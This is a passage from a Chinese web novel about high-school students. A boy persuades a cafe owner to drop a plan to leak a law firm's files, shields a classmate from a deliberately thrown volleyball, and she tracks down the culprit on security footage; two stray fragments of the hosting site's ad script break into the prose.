周泽楷摆了摆手,“不了,我在这儿坐着等就行。”于是他把旁边的一把椅子拉到一旁,自己坐了下去。 他出门只带了个手机,但这会儿也没什么可看的。加上他平时也不怎么玩手机,所以只好坐在原位干等。 周泽楷环顾四周,网吧虽然外面其貌不扬,但进去后里面的环境其实还不错。空间不算太大,却也不显拥挤,桌椅整整齐齐地摆成几列。位子不算多,所以也就显得宽敞。设备看上去都挺新的,倒是不像周泽楷刻板印象里网吧,用的都是些蜕了漆的陈年老物。 最引人入胜的,是最里面的一面水泥墙。没有刷漆,但有摩托车车队的彩绘,旁边还有一个巨大的徽章,周泽楷猜测这应该是这个车队的标志。看得出来,网吧老板是个摩托车迷,还蛮有格调的。 网吧里没什么异味,反倒是有一种奇特的气味。是一种清凉的薄荷香气,还夹杂着淡淡的烟草味儿,一点儿也不刺鼻,让人感觉挺舒服的。 但周泽楷突然皱了下眉,一种格格不入的香气充满鼻腔。 什么味道? 正当他在追溯这个味道的起源时,前台传来吸溜的一声。黄毛正在嗦着泡面,他一边吃面,一边对周泽楷说:“一看你就是个好学生,网吧估计以前没来过吧?跟你说,你也别这么放不开,一回生,二回熟,多来几次自然门儿清了。之后出来社会混,像你们这种死读书的是不行的。” 周泽楷也配合地点了点头,装作一副听进去了的样子,“你说得对,所以七哥平时都做些什么?我好跟他学习学习。”他试探性地追问,想从他这里打探点儿消息。 “七哥平时这网吧的电器维修都是自己干的,他在外头,有时候还跑跑别的生意。你别看七哥没上学了,但他可聪明了,人也能干,对兄弟那更是不用说。要不是家里出了问题,他没准儿现在也是高材生了,也用不着这么早就辍学。也是可惜了。” 黄毛有些叹惋地说道,他瞥了一眼周泽楷,又补充道:“反正比起你这种小白脸,我们七哥是强太多了。跟你说,对于希姐,你是没有竞争优势的。” “希姐?”这个陌生又熟悉的称呼被叫出来,让周泽楷有一瞬的错愕。 “就是上次门口你找的那个女生。”黄毛解释道。 周泽楷记得,谭佳宜小名就叫希希。之前他妈妈本来给她取名叫谭忆希的,后来说是他爸爸那边讲究按辈分取名,谭佳宜这一代是佳字辈的,所以就叫了现在这个名字。 周泽楷若有所思地点点头,看来谭佳宜还是更喜欢之前的名字。 也是,毕竟是她妈妈取的,分量肯定更大一些。 “你知道就好,我们七哥可是很厉害的。”黄毛有些得意地说。 又不是他的事儿,怎么感觉他比七哥还要在意,周泽楷有些不解。不过话又说回来,他一直强调这件事儿,说明他也不够有信心。这样看来,他还是有竞争力的。 等等,刚才他说七哥是因为家庭的原因辍学的。 七哥难道也是个有故事的人?这其中会不会和谭佳宜有什么牵扯? 端倪渐显,谜团升级,周泽楷再次陷入沉思。 20. 谈判&挡球 不知不觉,竟过去了整整一个小时,但还是没有见到七哥的人影。这个点儿虽然不算晚,才刚刚八点,但奈何也敌不过漫长的的等待。无所事事将等待拉长,困意席卷大脑,周泽楷不禁打了个哈欠。 既然来了,他也不打算轻易走掉。周泽楷决定继续等待,不过还是得找个事情打发时间,不然的确太无聊了。 他走到前台边,叫了一下黄毛,示意自己想找台电脑上网。黄毛看他终于肯放下“清高”,也十分爽快地给他安排了一台机子,又给他推荐了一些不错的游戏。说起自己擅长的领域,黄毛嘴上的阀门好像又被打开了,一下子又开始滔滔不绝、侃侃而谈起来。 经过一番相处,周泽楷觉得黄毛这个人其实并不坏,有时候其实还挺热心的,就是话有点儿多。 他找到黄毛安排的机子,将卡号和密码依次输进去。开机后,主页上弹出一堆花里胡哨的游戏,都是网吧为了吸引顾客提前设置好的。他随便找了个黄毛刚才推荐的,点进去开始了自己第一次网游之旅。 这个游戏其实不算太复杂,就是做任务、打怪、升级这样一个流程,周泽楷没一会儿便摸清楚了规则。只是刚创的号,等级比较低,装备技能也没起来,还不足以和玩家PK。所以,周泽楷只好去杀一些小怪,活动区域也只能找地图上安全一点的地方。 他上手很快,一会儿就把等级给练上来了一些,时间也不知不觉又过去了一个多小时。 打游戏果然是消磨时间的好帮手,怪不得老师家长们是坚决抵制孩子们打游戏的。但周泽楷对这些实在是提不起太大兴致,他今天见识了一番,觉得也就那样。可以少打一会儿,但让他没日没夜坐在这里玩这些,他还是有点熬不住。 他有点好奇,那些游戏迷是怎么对这些东西上瘾的? 正当周泽楷专注打一个大怪的时候,身后突然传来一声低沉的男声,不像黄毛的声音,而是 ——七哥! 快十点了,功夫不负有心人,周泽楷终于等来了七哥。 “你这玩儿得还行啊,没看出来,你还玩儿游戏?” 周泽楷把那个大boss打下来后,把爆出来的灵石灵药收入囊中,接着便下了号。 他起身道:“没有,第一次玩儿,也不太懂。” “我看你挺懂的,第一次玩儿就能干掉这种级别的怪,看来是有天赋啊。”七哥打趣道。 周泽楷也礼貌性地笑了一下,谦虚地说:“我就是误打误撞,也没什么技巧。” 对方没在这个话题上继续纠缠,一下子敛起了刚刚微笑的神色,表情变得严肃。 “无事不登三宝殿,你找我什么事儿?该不会是为希希的事儿来的吧?” 又是“希希”。 这个字在周泽楷现在听来实在刺耳,尤其是从他嘴里说出来,有种意味不明的挑衅。 周泽楷想着先说正事要紧,自己也不能白跑一趟。毕竟越早弄清楚,才越有可能避免悲剧的发生。 他也不打算饶弯子,直接坦白道:“是,但可能不止是她的事情,这件事情你也是当事人,所以才来找你的。” 七哥的神色又有一瞬改变,从刚才的冷淡转变为警惕。 “能借一步说话吗?”周泽楷询问道。 对方犹豫片刻,看他不像是在糊弄自己,便把他引向里屋。 里面是一间休息室,旁边放了一张床,但更像是间杂物间,大大小小的零配件摆了一柜子,桌子上也放着好几个电脑主机,几个显示屏散落一地。 七哥看沙发上也堆满了物件,只好挑拣了把椅子让他坐下,自己则直接坐在了那张小床上。他随手点了只烟,烟雾缭绕,在他指尖打转。床头柜上有个烟灰缸,里面还有残留的几个烟蒂。 周泽楷太久没闻过这么浓重的烟味了,一下子被呛着,剧烈地咳嗽了起来。 他突然想起来,穿过来第一次在巷子里,谭佳宜也是在抽烟,不会就是和七哥学得吧? “你在她面前,也这样抽烟吗?”他好不容易顺过气来,盯着七哥问道。 手中的烟只抽了一半,七哥直接把它掐灭了,烟灰缸里有几点火星子在跳跃。 “我在她面前不抽。她想做的事不用别人教,我拦不住,你也一样。”他平静地回答道,话中意有所指。 室内的灯光和外头一样昏暗,短暂的沉默让气氛变得格外低沉。 周泽楷倒不是被他的这句话唬住了,他在想该怎么说,才能让七哥把这件事的真相说出来。他也不清楚七哥的脾性,反正现在来看,七哥这般态度是不太容易松口的。 算了,先说出来看看他的反应吧。 “不试试怎么知道不行呢?”周泽楷打破沉默,接着说道:“佳行律所你应该不陌生吧。你们最近是不是在收集他们的资料?” 七哥眉头一皱,他记得谭佳宜说过不会告诉他的。 “你是怎么知道的?” 周泽楷见势又故意说:“我不仅知道你们在调查佳行律所,还知道你们是想把资料转手,来搅黄佳行和长泽的这笔生意。” 七哥身体坐直了些,虽然面色未改,但嘴唇却微颤了一下。 “谭佳宜不可能告诉你的,你到底是怎么知道的?” 看来他还是挺了解谭佳宜的,竟然如此笃定谭佳宜不会告诉他。不过看他的反应,自己应该猜得大差不差了。 “是。确实不是她告诉我的。我在咖啡厅看见你们和别人接头,U盘我也看过了。所以,这件事儿我全知道了。” 要想让对方相信自己说的话,就得说实话。周泽楷将自己跟踪他们和偷看U盘的事儿如实交代了,等着七哥的进一步反应。 果然,这下子七哥彻底被激怒了。他起身拽着周泽楷的衣领,用狠厉的眼神盯着他,“我真是低估你了,亏得她还惦记着你,不想让你卷进来。你竟然用这么卑鄙的手段。” 周泽楷后颈被勒得有些难受,接着大声说道:“但你们知道吗?你们这样做是犯法的,窃取商业机密,泄露公司信息,你们想过后果没有?” 七哥低着头,总算松开了拽着衣领的手。他又坐下来,缓缓开口道:“那你应该也知道,佳行律所是她父亲的公司。你有没有想过,她为什么要费这么大的功夫去针对她的父亲?” 周泽楷没说话,他其实也知道,这和谭佳宜的家庭有关。 七哥接着说道:“谭墨行不是什么好人。他不是个好丈夫,不是个好父亲,是个两面三刀的伪君子。你也看到了,他私下没少做龌龊事。我们将他们律所的资料给到其它律所,也不过是给他增添一点绊脚石罢了。他现在势力大,我们也没法儿扳倒他。” 他语气里含着恨,但更多的是无奈。 过了一会儿,他抬头反问周泽楷:“所以,你觉得凭什么让他这种人过得顺风顺水,逍遥自在?” 周泽楷叹了口气,“是,确实不能让这种人好过。但是如果你们这样做的话,一旦被发现,以谭墨行的手腕,也不会放过你们的。我们想办法,总能找到他的罪证,让公理去审批他,让他得到应有的惩罚。这种人,不值得冒这么大险去惩罚他。” 又是一阵沉默。 片刻后,对方冷笑一声:“你还是太单纯了,事情没那么简单。要是有更好、更快的办法,我们也不会冒这个险。” 好在周泽楷也不是毫无准备就来了,他之前调查过佳行律所,发现他们竟然和自己家的公司也有法务来往。 “既然你们是想给谭墨行使袢子,我倒是有个主意。” 七哥听他这样说,也来了兴致。 “佳行律所负责奇瑞文化的法务,而奇瑞则是我父亲旗下的公司,我可以说服我父亲和他们解约,这样的话,他们也算是损失了一个大客户,我们也不会有把柄在他们手上。” 没想到周泽楷竟然会主动提出帮他们,七哥有些疑惑地问道:“你真想帮忙?” “我帮忙也不是没有条件。” 果然,是带着目的来的。 “哦?说了听听。” “如果我说服我父亲解约,你们也要取消长泽的计划,现在离31号还有十天,我尽量试试,但你们不要轻举妄动。还有,可以先不要告诉谭佳宜吗?” 突然传来一声轻笑,七哥打趣地看着他,“你这算盘打得挺好。但是要让我拿一个有把握的事情,去换一个没把握的事情,你说我就这么答应了,是不是有点傻?” 没想到他这么难缠,周泽楷只好开始打感情牌,“你不为自己考虑,也应当为谭佳宜考虑一下吧。她还要高考,还要上大学,你也不想看到她的前程毁在这里吧。” 提到谭佳宜,七哥终于有了几分动容。但他依旧目光坚定,很认真地说道:“不会牵扯到她的,有什么事我担着。” 原来如此,周泽楷终于明白,上一世七哥入狱,八成就是因为被谭墨行发现了。七哥将事情一个人扛下,这样就不会连累到谭佳宜。 所以说,这一世周泽楷或许也可以改变七哥的命运,让他免去牢狱之灾。 “虽说虎毒不食子,但谭墨行他不止谭佳宜一个孩子,你们既然清楚他的为人,知道他这种人什么事都做得出来,万一他也想趁机害谭佳宜呢?我们不能做赌徒,有些险是不能冒的。” 桌子上的时钟滴答滴答地响着,室内再次陷入沉寂。不知思量了多久,七哥才终于答应下来。 临走时,周泽楷顺便和七哥打听了李叔女儿的消息,得知李叔女儿现在正在住院接受治疗,就在市里的儿童医院。他决定下次有时间了,也去看看这个不幸的小姑娘。 可能没法儿让她好起来,但要是能给她带去一丝快乐,那就再好不过了。 最近几天物理竞赛的又布置了一堆练习。米老头不知道抽了什么风,自从上次给周泽楷“开小灶”后,也开始给竞赛组的所有成员出各种类型的加练小卷,对于本就繁忙的学业来说,简直是雪上加霜。 更悲催的是,周泽楷最近还要忙着说服他父亲的事儿。要他说,这可比写竞赛题痛苦多了。从小到大,虽说江一宁对他总是尖酸刻薄,冷言冷语,但好歹还有一些交流。他这个父亲吧,常年忙于工作,又疏于对他的关心,同在一片屋檐下,实际却一点都不熟,一年到头也说不上几句话。 这算是他第一次请周志刚帮忙,看来是要把这十几年的父子交情都拿出来了。 一边忙着赶物理竞赛的任务,一边忙着整理说服周志刚的资料,周泽楷常常忙到夜里凌晨几点,早上又不得不挂着黑眼圈爬起来上学。可以说原来不感兴趣的体育课,现在对他来说,都算是一种放松消遣了。 上次的体育课和英语课换了,所以这次体育课是两节连上。体育老师说第一节课进行排球训练,第二节课就让他们自由活动。大家一听到自由活动,都欢呼雀跃起来,纷纷为这个善良宽厚的体育老师鼓掌。 一旁的凌飞对周泽楷说:“自由活动的时候咱们去踢球吧。” 凌飞是周泽楷的初中同学,现在在他们隔壁班“十班”。初中的时候两人关系不错,也经常一起踢足球。两个班是一个体育老师,原本不是一节课的,但由于他们换课了,所以就一起上了。 “你们下节课也还是体育?”周泽楷有些疑惑,按理说正常情况凌飞他们班是这节课的体育,下节才是周泽楷他们班的体育。 “我们班上次月考考得好,老班奖励我们看一节课的电影。但是他们选的电影我看过了,所以还不如溜出来和你们一块儿自由活动呢。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原来如此,周泽楷点点头。思虑片刻后,还是拒绝了。 “不了,最近没休息好,要回去补觉。” 凌飞有些失望,但也知道这种事儿不好强求,也没再劝。他仔细端详了周泽楷一番说道:“还真是,你最近干嘛去了?这大黑眼圈都快赶上熊猫了。不会是熬夜学习吧,年级第一也这么刻苦?” 这么明显?连他都看出来了,那谭佳宜岂不是也注意到了。 “是是是,我这好不容易考了回年级第一,也不想下次跌得太惨。毕竟你也知道,我不是天赋型选手。”周泽楷苦笑道。 “你就算了吧。初中你回回都是第一,还经常甩第二十几分。我承认你是努力型,但你也别否认你的天赋,你顶多算个混合型选手。”凌飞打趣地说。 “混合型选手”,这还是第一次听说,不愧是造词小天才凌飞。 排球训练男女分开,场地是一横排的,每个场地里女生和女生打,男生和男生打。只不过周泽楷和谭佳宜的场地刚好是挨着的。 教完一些基本动作后,同学们就按分好的小组进行实战比赛。 周泽楷原本还有些担心谭佳宜没学过排球,会不会有困难。但看到谭佳宜上来就发了个漂亮的球,还在教同组的白依依发球姿势,看来是他多虑了。 果然有体育细胞的人,上手什么运动都很快。 训练的时候,周泽楷的目光时不时会往谭佳宜那边看一眼。 少女眉头微蹙,眼神自若,一副专注又松弛的模样,可以说是既在认真训练,又表现得游刃有余。 大部分时候,谭佳宜的动作都干净利落,无论是发球还是接球,连周泽楷也有些自愧不如。实话实说,她打得比他们这些男生还要好。 “你看什么呢?”同队的凌飞问道。 “没什么,咱们继续吧。”周泽楷回答道。 “我猜你是在看旁边那个女生吧。她是不是叫谭佳宜?” 周泽楷有些惊讶,自己的心思还真被他一下子就猜中了。而且他怎么知道那个就是谭佳宜? “是她,不过你认识?” “不止我认识,全校应该都认识她。长得好看,体智双强。你看,她刚才那一扣球,可以说相当漂亮,一下子就绝杀了。” 凌飞形容得倒是很贴切,他似乎注意到周泽楷好像在用一种奇怪的眼神盯着自己,立马又补充道:“你放心,我没别的意思,就单纯欣赏。兄弟的墙角我哪敢撬啊。听说你们班美女挺多的,要不哪天给我介绍介绍。当然,这个就不用了。” 周泽楷锤了他一下,说道:“你别乱说,少听些八卦。听过一句话吗,‘你若盛开,蝴蝶自来’。所以别人介绍的不如你自己吸引的,还是多想想怎么提升自己吧。” 凌飞点点头,也没再多说。 由于队里其他人和白依依一样,几乎都不怎么会打,所以重担都落在了谭佳宜身上,对方的火力也集中在她身上。但一个人没有三头六臂,总有些猝不及防的的时候。 突然,对方发来一个很刁钻的球,她们也学着改变思路,专往谭佳宜不在的地方发球。 她很快反应过来,提前退后了两步,又斜跨一步,很精准地将球拍了过去。 清脆的一声,排球在空中划过一个很好看的抛物线。 现在换对方猝不及防了,球自然是没接到,谭佳宜队再次得分。 队里的人都跳起来庆祝,唯有白依依注意到,谭佳宜刚才击球的时候跳了一下,但落地时却没站稳,险些跌倒。起跳的姿势本来就是侧着的,这种姿势落地,重心都在一只脚上,是很容易扭伤的。 白依依上前问她有没有事,谭佳宜只是摆了摆手,微笑着说没事。 果然是一生要强的女人,只要没什么大问题,都不会轻易表现出自己脆弱的一面。 刚刚的一幕周泽楷也看在眼里,看见她差点摔倒,他也跟着捏了把冷汗,还好最后稳住了。他注意到白依依在和她说话,她竟然还笑了,看来应该没受伤。 不过她和白依依间的关系怎么看起来还不错,他可记得,某人前段时间还误会他和白依依来着。 最后一局比赛开始了,谭佳宜她们队以微弱的优势暂时领先,只要保持住,就能取得最后的胜利。 何西飞搭着陈淮北的肩,在一旁打趣:“白依依什么时候这么菜了,一个球也没接住啊。不过咱们谭大校花确实牛,一人带飞全队。” 陈淮北白了何西飞一眼,抛了个排球给他,说道:“别光说别人,你自己也没好到哪儿去。” 这次轮到谭佳宜她们队发球,这个关键的一球当然由谭佳宜来发。 果然,又是无可挑剔的一击。不过对方队也不可小觑,最后一局,她们也没那么轻易认输,很敏捷地把球打了回去。 刚好是朝着白依依的方向打过去的,无奈谭佳宜离那边实在太远,实在来不及赶过去。球过来的时候,谭佳宜看了一眼白依依,目光坚定,是鼓励,也是相信。 两人对视一秒,互相点了点头,好像交换了讯号。 接着,白依依看准球过来的位置,起跳、抬臂、甩腕,正正击中了排球。 好的,同样是非常漂亮的一球。 这个球刚被打过去,又不知从哪里冒出来一个球,朝着谭佳宜的方向飞来。 大家都关注着赛场上的动向,无人觉察到场外的异动。就在谭佳宜发现来球时,已经来不及避开了。她甚至来不及用胳膊肘挡一下,就这么赤裸裸地要被球砸中了。 就在这个时候,一个熟悉的面庞出现在她眼前。她感受不到疼痛,只感受到他身体的温度。耳边传来一声闷哼,球重重地砸在了他的背后。 是周泽楷,他怎么会在这里? 21. 看望&福利 哨声再次响起,既是宣布比赛的结束,又是因突发状况而终止比赛。 谭佳宜她们队确确实实赢得了比赛,但场上此刻却是一片鸦雀无声。大家的目光都投向周泽楷和谭佳宜的方向。 少年清瘦单薄,但在少女面前,脊背却显得宽阔。他双手拢着她,护她一片平安无恙。 即使隔着一个人,谭佳宜也能感觉到球砸过来的力道。他很明显向前倾了一下,却还是尽力保持身体的平衡。 明明那么疼,周泽楷仍冲她一笑,忍痛道:“还好我发现了,你没事就行。” 场外突然大喊了一声:“谁扔的球啊,是没长眼睛吗?” 此人正是体委何西飞,自己班里人受了委屈,他怎么坐得住。 旁边有人说看到是十班的人扔过来的。这下事情的性质可就不一样了,由个人纠纷转变为班级矛盾,两个班的人你一言我一语地闹起来,很快就吵得不可开交。 白依依上一秒还在紧张地接球,下一秒就目睹了如此混乱的场面。她注意到被砸的周泽楷,和差点被砸的谭佳宜,大喊了一声:“班长受伤了,先送医务室要紧。” 终于有个明白人出现了,十一班的人也都暂停了刚才的纷争,纷纷前去询问周泽楷的伤势。 凌飞虽是十班的人,但老同学兼好兄弟受伤了,自然也是站在他这边的。凌飞扶着周泽楷,何西飞撩起他的衣服一看,好大一块儿红印子,得赶快去医务室。 旁边围了好几圈同学,里头甚至还有十班的一些女生,毕竟是学校的风云人物,大家也都很关心他的伤势。 何西飞让大家散开,好不容易才将人群疏散开,只留下一两个男生负责送周泽楷去医务室。 刚才衣服掀起的时候,谭佳宜瞥见周泽楷背部的红印,顿时心头一颤。 谭佳宜说不出话来,一种担心、害怕、恐慌在心里蔓延。她愣愣地站在原地,目送着少年被搀扶着远去,她看在眼里,却痛在心里。 同班的女生也围过来,关切地问她有没有事。谭佳宜什么话也没说,只是微微摇头。 白依依朝着她目光所及处望去,周泽楷的背影已经快看不见了,但她却仍望向那个方向。 伤员送走,事情却没完。 何西飞他们找到刚才被举报扔球的人,确实是十班的,带个黑框眼镜,瘦瘦小小的,但扔球劲儿倒不小。 “你刚才躲什么,砸到别人了不会说声对不起啊?说,刚才到底是怎么回事?”何西飞的气势很足,像个□□老大,一下子把压迫感拉满了。 对方往后缩了缩,也像是被唬住了一样,更加不敢吭声了。 谭佳宜看见他们在找扔球的人,径直走了过去。她看对方被吓住了,温声说道:“球是怎么飞过来的,你说吧,我们不会怪你的。” 男生看到谭佳宜亲自出面,抬眸瞟了她一眼,又低下头去,终于开口道:“我……我也不知道,刚才没拿稳……一不小心就打偏了。”他说着说着,声音愈发地小,也不知是害怕还是心虚。 “你结巴什么,两个场地中间有间隔,一般打偏了也打不到这里来啊,我看你就是心里有鬼。我们班长要是有什么事,肯定要找你算账。”何西飞愤愤地说。 谭佳宜没再说话,看上去一副冷静的样子,实则在暗中观察着这个男生。刚才何西飞说他心里有鬼的时候,他明显哆嗦了一下,头就没抬起来过。长头发耷拉着眼镜,但隐约可以看见,他的眼睛一直在乱瞟。 这事儿没那么简单,谭佳宜不自觉地用双手死死攥紧校服,却依然面色不改地对那个男生说:“知道了,没关系的,你先走吧。” 旁边的何西飞有些吃惊,这好歹也是冲着她来的啊。如果不是周泽楷挡挡了一下,刚才送医务室的就是她了。 不是自己受伤,就这么宽宏大量吗?何西飞对谭佳宜的这番操作很是不解。 “就这么放他走了?你没看到他刚才心虚的样子,没准儿是故意的呢?” 谭佳宜没理他,突然叫住了刚才要走的男生。 “对了,你叫什么名字?之后那个男生有什么事好通知你。” 男生刚听到让他走,以为没事了,巴不得早点溜。这会儿又突然被叫住,脚步一滞,回头小声答道:“李文雄。他要是没什么事就和我说一声,有什么事的话,医药费我会承担的。”说罢便加快脚步离开了。 何西飞站在原地气得差点说不出话,这叫怎么一回事。砸伤了人自己心里是没点儿数吗,还要别人提醒他要怎么做。他实在忍不住了,转头开始指责谭佳宜:“好歹周泽楷也是因你受了伤,你就这样把砸伤他的人放走了?平时你高冷也就算了,但这个时候总不能坐视不管吧。” 谭佳宜没有与他争辩,目光扫视了一周,最终落在了角落的监控器上。监控器很隐蔽但刚好可以将排球场拍到。她松开攥紧的手,转身干脆利落地抬腿就走。 “去哪儿?是去看班长吗?我和你一起去。”何西飞从后面跟上。 “去监控室。” “他不都承认了吗?还有调监控的必要吗?” 谭佳宜懒得和他解释,一路大步流星地向前走去。何西飞虽然不解,但还是跟了上去。 到了监控室,和保卫处的人说明来意后,他们顺利找到了排球场的监控画面。 画面中的男子确实是李文雄,但他却没在场内。两边的场地当时都在比赛,没比赛的也在外围休息,或者是在两侧专注地看比赛。他混入看比赛的队伍,站在中间先是观望了一阵儿,随后又退出了监控视野,再次回来的时候,手上多了个排球。他很聪明地找了个没人的空地,接着就发生了刚才的一幕。 “这明显就是故意的。哦,我知道了。你刚刚是想先让他放松警惕,然后找到充分证据后再打他个措手不及。还是你想得周到,刚才话说得有点儿重,你别在意。”何西飞态度一下子软了下来,向谭佳宜抱歉道。 “那咱们现在要不拿监控去和他对峙?” 谭佳宜摇摇头,“再等等。”转身又询问保卫处的大叔:“能把器械室的监控也调出来吗?” 器械室的监控被调出来后,谭佳宜开二倍速,飞速浏览起体育课期间器械室的情况。 “停!” 画面定格在下午三点四十分,距离事发不过十分钟,刚好是李文雄消失在监控画面中的那段时间。只不过画面中的人却不是李文雄,而是一个高高瘦瘦的女生。 “能把画面再放大一些吗?”谭佳宜指着女生手里拿着的排球,“对,就这里。” 画面放大后,排球上一块儿拳头大小的黑斑显示出来。 “这就对上了。” “什么对了?”何西飞还处于状况外。 “她拿的排球就是李文雄扔出去的那个球。我在球场的时候看过了,那个球上刚好也有一块儿这样的黑斑。”谭佳宜说得笃定,眼中却有怒火在汹涌。 何西飞定睛看着画面中的球,眼睛眯成一条缝,张大嘴巴说:“还真是。你观察这么仔细,福尔摩斯啊。” “她是谁?”谭佳宜冷冷道。 “她你都不知道。咱们学校的校花啊,文艺女神卓艺凡。艺术生,画画相对厉害。当然,你也是校花,校花可以不止一个嘛。怎么,你怀疑和她有关系?” 谭佳宜一向不关心学校的八卦,自然也不熟悉其他班上的人,不过何西飞倒是挺了解人家的。 “是不是她我说了不算,证据说了算。能再帮忙调一下器材室到排球场的监控吗?” 监控是调出来了,到排球场后,卓艺凡手上的球就换到了李文雄手中。不过不幸的是,他们排查了一大圈,都没有发现卓艺凡将球给李文雄的画面,看来是在一个监控死角转交的。 逻辑链已经基本清晰,但就是缺乏最后的证据。还有,卓艺凡设计这一出的动机是什么呢?谭佳宜和她根本不认识,她干嘛费尽心思找人拿球砸她? 虽然不能总把人想往坏处想,但经历过一些事情后,谭佳宜深谙人心的险恶。只要是耀眼的东西,都会有人嫉妒、记恨,甚至想要毁灭。就像何西飞刚才说的,校花可以不止一个,但总会有最出彩的那一个。正如同行竞争一样,看不惯你就会给你使绊子。 谭佳宜不否认自己现在正在恶意揣测别人。但很多时候,就是这样的恶在伤害自己。要想不被伤害,就得认清他们的恶,甚至提前预判他们的坏心思。 既然已经能猜到真相了,那就不装了,来点儿直接的吧。 谭佳宜拿出手机,给七哥发张个照片。又留了条消息:帮我个忙,放学后去堵个人。 刚发出去,消息框便弹出来一条新消息。他没问原因,直接回复道:要教训一下吗? 谭佳宜:不用,把人先拖住,我随后就来。 回完消息后,谭佳宜放下手机对何西飞说:“这件事你不用管,也不用去找他们,我自有办法解决。过两天你就等着看他们来道歉吧。” 何西飞原本还有些不放心,但想着谭佳宜处理事情还是挺有谋略的,就拿监控一事来说,起码自己就没想到,因此也就答应下来:“行吧,有什么要帮忙的随时叫我。你要始终相信,你不是一个人在战斗,你身后还有整个十一班。要是哪个人在外面欺负咱们班同学,咱们班同学肯定联合讨伐他。” 何西飞说得正气凛然的,但谭佳宜倒没有被他这番话感动到,只觉得这人脑子真是一根筋,还有点儿中二病。 “别人不好说,你不添乱就行。” “之前是没搞清楚就误会你了,主要是太着急了。但你也不能因此就对我产生偏见,我不也是为咱们班的人考虑。你放心,我还是很热爱咱们的班级体的,起码不会做胳膊肘往外拐的事情。”何西飞信誓旦旦地说道。 谭佳宜微微点头,也没再和他废话,心想:果然是个中二少年。又没说你对班级不忠,就是怕你又莽撞行事罢了。 出了监控室,谭佳宜还是忍不住去了医务室。 走到医务室门口,里面传来说话的声音。 “我跟你说啊,你这要是疤痕体质,起码背是毁容了,以后露背的造型可要谨慎了。就是可惜了这好背,手感还是不错的,我是个男生都觉得挺性感的,要是女生见了……” “嘶~你别乱动,动着我伤口了。” 谭佳宜在门外听见这番对话,脸不知怎的,刷一下就红了。 她用手摸了一下,果然很烫。 无聊、低俗,谭佳宜在心里告诉自己。 本来就是想来看看他有事儿没,现在看来既然还有心思讨论这些,看来是没什么大问题了。 就在谭佳宜刚准备走的时候,里面又传来一声:“让我看看有几根骨头。一根、两根、三根……” 骨头?伤得这么严重吗? 谭佳宜的心咯噔一下,还没等里面说完,她就冲了进去。 “都伤到骨头了,怎么还没去医院?” 除了周泽楷,医务室里还有凌飞。看到突然有个姑娘进来,也一下子愣住了,惊讶地回头看向门口。 原来是谭佳宜,凌飞摆摆手,慌忙解释道:“误会了,我刚刚是想看看他这个伤口有多大,就在数旁边有几根肋骨。校医看过了,说是皮外伤,没伤到骨头,你别担心。” 真是闲的无聊,第一次听说伤口大小用几根骨头衡量的。 凌飞尴尬地笑了一下,也觉得刚才的事情是个大乌龙,指着周泽楷的后背,又用手比划了两下说:“你看,其实没多大事儿,也就四根肋骨那么长,宽嘛也差不多三四根的样子。” 谭佳宜无语地看着他,这时才注意到趴在病床上的周泽楷。 他此时上身半裸着,后面衣服全撩起来,露出整个后背。伤口的红印被冰袋盖住,其它地方倒还真是肌肤似雪,白嫩光滑,着实让人垂涎。 谭佳宜只觉脸烧得更厉害了,没眼再看,把头别过去,“没事儿就好,那我先走了。” “啊!感觉还是有点儿疼,都敷了这么久了,怎么还不见好转。凌飞,校医刚才不是说我敷完这个后还要换药。” 凌飞一脸懵逼地看向他,周泽楷又冲他眨了两下眼睛,他总算会意过来,立马说道:“对对对,我现在就去找校医过来。那就麻烦谭同学在这里先照看一下了。” 话音刚落,还没等谭佳宜答应,凌飞就一溜烟地撤离了医务室。 现在医务室里只剩下周泽楷和谭佳宜两个人,一个衣衫不整地趴在病床上,一个干楞在原地,谁都没有开口,气氛一下子变得微妙起来。 周泽楷觉得自己这样她肯定会别扭,打算还是先把衣服穿好,坐起来的好。当正他准备把背上的冰袋拿下来时,谭佳宜突然上前两步制止了他。 “伤员就不要乱动了。” 说完后,谭佳宜才意识到,自己竟握住了周泽楷的手。 冰袋的温度很低,但谭佳宜的手确实烫的。冰火交织,两人的脑子好像都发生了短路,在此刻停止了转动,只听得见心脏扑通扑通的声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音。 对视的几秒里,少男少女间羞涩的目光在碰撞,仿佛前几天的疏离与不快全都烟消云散了。 周泽楷听话地没再去扯衣服,乖乖趴好,像一只温顺的小白兔。他把脸伏进胳膊里,这才感受到自己脸上的温度。 好像确实有点烫。 谭佳宜看他很安静地趴在那儿,手轻轻地将冰袋缓缓抬起,尽量不让他察觉到自己的动作。 冰袋下的皮肤狰狞,呈现暗红色,还有些微微发紫,比刚受伤时要明显许多。 看着这般景象,眼泪不知不觉就涌上了眼眶。谭佳宜努力忍着,只让眼泪在眼眶里打转,奈何还是有一滴不听话的泪珠夺眶而出,很顺滑地落在了周泽楷的背上。 周泽楷的肌肤很敏感,即使是冰敷了这么久,其他地方的皮肤还是可以感受到这细微的温热。 “你哭了?”周泽楷刚要转过头来,又立刻被谭佳宜制止住。 “你把头转过去,别乱动。我才没哭,是冰袋上化的水。” 撒谎,冰袋上的水能是热的? 其实谭佳宜已经很久没有泪失禁了,她是有点这种体质的。小时候虽然像个小太阳,但一遇到感动的事儿就能立刻变身小哭包,每次都能用掉周泽楷一整包纸。她自认为自己现在的流泪阈值已经很高了,毕竟经历过妈妈和外公相继离世,以及父亲再婚,谭佳宜觉得把这辈子的泪都流尽了,应该不会再有什么事能触动到她了。 只是没想到,今天竟然为了周泽楷再次泪失禁了。 谭佳宜本来觉得没什么,他为她挡球,她为他讨回公道。至于这个伤,就当是他在赎罪,他吃点苦头本来就是应该的。 对啊,他受伤他受挫,不都是她原本想看到的吗?她应该高兴才对。但是,为什么看到他受伤,她竟一点也高兴不起来。她只觉得难受,是心在痛。 “那个……” 两人异口同声。 “你先说!” 好吧,是有点默契的。 谭佳宜立刻又谦让了一遍:“你先说吧。” “唉,其实也没什么,我就是想说也没什么大事。你看,我就说我不是之前的弱鸡了吧,现在我这儿身体可硬了,这点儿小伤过几天就好了,你也别太放在心上。” 他越是这样云淡风轻,她越是生气。明明挺严重的,却还要装作没事人。 谭佳宜敛起眼中的泪水,眼神变得锋利无比。她越想越气,一股怒火在心中燃起,她是不会放过背后搞事情的人的。 “我正要说这件事,这事儿有蹊跷,是有人故意为之。” 